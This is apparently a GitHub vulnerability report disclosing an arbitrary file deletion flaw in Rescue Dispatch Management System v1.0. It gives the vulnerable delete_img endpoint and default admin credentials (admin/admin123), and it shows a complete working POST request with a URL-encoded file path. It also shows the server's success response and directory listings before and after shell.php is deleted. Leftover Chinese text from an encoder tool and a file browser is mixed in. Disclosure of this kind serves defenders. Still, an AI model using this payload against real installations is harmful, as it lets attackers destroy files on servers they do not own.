

main

...

bug\_report / vendors / oretnom23 / rescue-dispatch-management-system / delet-file-1.md



debug601 Update delet-file-1.md

History

1 contributor

47 lines (31 sloc) | 1.81 KB

...

# Rescue Dispatch Management System v1.0 by oretnom23 has Delete any file

vendors: <https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html>

Vulnerability File: /rdms/classes/Master.php?f=delete\_img

Vulnerability location: /rdms/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

```
POST /rdms/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.19/rdms/admin/?page=system\_info  
Content-Length: 45  
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q  
Connection: close

path=C%3A%2Fxampp%2Fhtdocs%2Frdms%2Fshell.php



The file path needs to be encoded by url

C%3A%2Fxampp%2Fhtdocs%2Frdms%2Fshell.php

UrlEncode编码

UrlDecode解码

清空输入框

复制加密后的网址

C:/xampp/htdocs/rdms/shell.php

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

本地磁盘 (C:) \ xampp \ htdocs \ rdms				
共享 新建文件夹				
名称 ^	修改日期	类型	大小	
admin	2022/5/26 14:05	文件夹		
assets	2022/5/26 14:05	文件夹		
build	2022/5/26 14:05	文件夹		
classes	2022/5/26 14:05	文件夹		
database	2022/5/26 14:05	文件夹		
dist	2022/5/26 14:05	文件夹		
inc	2022/5/26 14:05	文件夹		
libs	2022/5/26 14:05	文件夹		
plugins	2022/5/26 14:15	文件夹		
uploads	2022/5/26 14:05	文件夹		
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB	
404.html	2021/3/19 13:17	HTML 文档	1 KB	
config.php	2022/4/20 12:55	PHP 文件	2 KB	
index.php	2022/4/26 15:29	PHP 文件	1 KB	
initialize.php	2022/5/26 14:05	PHP 文件	1 KB	
rdms_plugins.zip	2022/5/26 14:13	ZIP 压缩文件	15,549 KB	
shell.php	2022/5/26 16:36	PHP 文件	0 KB	

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

```

POST /rdms/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=system_info
Content-Length: 45
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close

path=C%3A%2Fxampp%2Fhtdocs%2Frdms%2Fshell.php

HTTP/1.1 200 OK
Date: Thu, 26 May 2022 06:52:24 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

















{"status":"success"}

```

By this time, shell.php has been deleted.

地磁盘 (C:) ▾ xampp ▾ htdocs ▾ rdms ▾

共享 ▾ 新建文件夹

名称 ▲	修改日期	类型	大小
 admin	2022/5/26 14:05	文件夹	
 assets	2022/5/26 14:05	文件夹	
 build	2022/5/26 14:05	文件夹	
 classes	2022/5/26 14:05	文件夹	
 database	2022/5/26 14:05	文件夹	
 dist	2022/5/26 14:05	文件夹	
 inc	2022/5/26 14:05	文件夹	
 libs	2022/5/26 14:05	文件夹	
 plugins	2022/5/26 14:15	文件夹	
 uploads	2022/5/26 14:05	文件夹	
 .htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
 404.html	2021/3/19 13:17	HTML 文档	1 KB
 config.php	2022/4/20 12:55	PHP 文件	2 KB
 index.php	2022/4/26 15:29	PHP 文件	1 KB
 initialize.php	2022/5/26 14:05	PHP 文件	1 KB
 rdms_plugins.zip	2022/5/26 14:13	ZIP 压缩文件	15,549 KB